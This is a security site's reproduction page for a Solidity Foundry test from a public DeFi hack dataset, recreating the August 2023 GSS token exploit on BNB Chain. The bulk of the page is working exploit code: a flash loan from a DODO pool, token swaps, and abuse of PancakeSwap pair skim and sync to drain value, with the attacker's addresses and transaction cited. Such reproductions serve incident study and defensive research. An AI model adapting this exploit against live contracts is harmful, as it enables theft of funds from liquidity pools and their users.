Skip to content
THREATWIRE

Public reproduction file

src/test/2023-08/GSS_exp.sol

Public reproduction file for dataset entry GSS.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-08/GSS_exp.sol61 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~$24883 USD$
8// Attacker : https://bscscan.com/address/0x84f37f6cc75ccde5fe9ba99093824a11cfdc329d
9// Attack Contract : https://bscscan.com/address/0x69ed5b59d977695650ec4b29e61c0faa8cc0ed5c
10// Attack Tx : https://bscscan.com/tx/0x4f8cb9efb3cc9930bd38af5f5d34d15ce683111599a80df7ae50b003e746e336
12// @Analysis
13// Twitter Guy : https://twitter.com/bbbb/status/1694571228185723099
15contract ContractTest is Test {
16 address private constant usdt = 0x55d398326f99059fF775485246999027B3197955;
17 address private constant gss = 0x37e42B961AE37883BAc2fC29207A5F88eFa5db66;
18 address private constant gss_usdt_pool = 0x1ad2cB3C2606E6D5e45c339d10f81600bdbf75C0;
19 address private constant gss_gssdao_pool = 0xB4F4cD1cc2DfF1A14c4Aaa9E9434A92082855C64;
20 address private constant pancakeRouterV2 = 0x10ED43C718714eb63d5aA57B78B54704E256024E;
21 address private constant dodo_pool = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A;
23 function setUp() public {
24 vm.createSelectFork("bsc", 31_108_559 - 1);
25 vm.label(usdt, "USDT");
26 vm.label(gss, "GSS");
27 vm.label(gss_usdt_pool, "GSS_USDT_POOL");
28 vm.label(gss_gssdao_pool, "GSS_GSSDAO_POOL");
29 vm.label(pancakeRouterV2, "PANCAKE_ROUTER_V2");
30 vm.label(dodo_pool, "DODOPool");
31 }
33 function testExploit() public {
34 IDPPOracle(dodo_pool).flashLoan(0, 30_000 ether, address(this), new bytes(1));
35 }
37 function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
38 swap(usdt, gss, 30_000 ether);
39 IERC20(gss).transfer(gss_usdt_pool, 707_162_351_662_098_288_993_328);
41 IPancakePair(gss_usdt_pool).skim(gss_gssdao_pool);
42 IPancakePair(gss_usdt_pool).sync();
43 IPancakePair(gss_gssdao_pool).skim(address(this));
45 swap(gss, usdt, IERC20(gss).balanceOf(address(this)));
47 // pay back
48 IERC20(usdt).transfer(msg.sender, 30_000 ether);
49 emit log_named_decimal_uint("Attacker USDT balance after exploit", IERC20(usdt).balanceOf(address(this)), 18);
50 }
52 function swap(address tokenIn, address tokenOut, uint256 amountIn) internal {
53 IERC20(tokenIn).approve(pancakeRouterV2, type(uint256).max);
54 address[] memory path = new address[](2);
55 path[0] = tokenIn;
56 path[1] = tokenOut;
57 IUniswapV2Router(payable(pancakeRouterV2)).swapExactTokensForTokensSupportingFeeOnTransferTokens(
58 amountIn, 0, path, address(this), block.timestamp + 1000
59 );
60 }

Analysis

Dataset entry

Public Foundry test for “GSS” (2023-08-24). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

12 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x84f37f6cc75ccde5fe9ba99093824a11cfdc329d

  • Attack Contract

    0x69ed5b59d977695650ec4b29e61c0faa8cc0ed5c

  • Attack Tx

    0x4f8cb9efb3cc9930bd38af5f5d34d15ce683111599a80df7ae50b003e746e336

File record

Name
GSS
Path
src/test/2023-08/GSS_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
8d77d497b9adfb211680df0785ab836d4bc488c3
Language
Solidity
Size
62 lines
Date
2023-08-24
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-08/GSS_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8d77d497b9adfb211680df0785ab836d4bc488c3, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.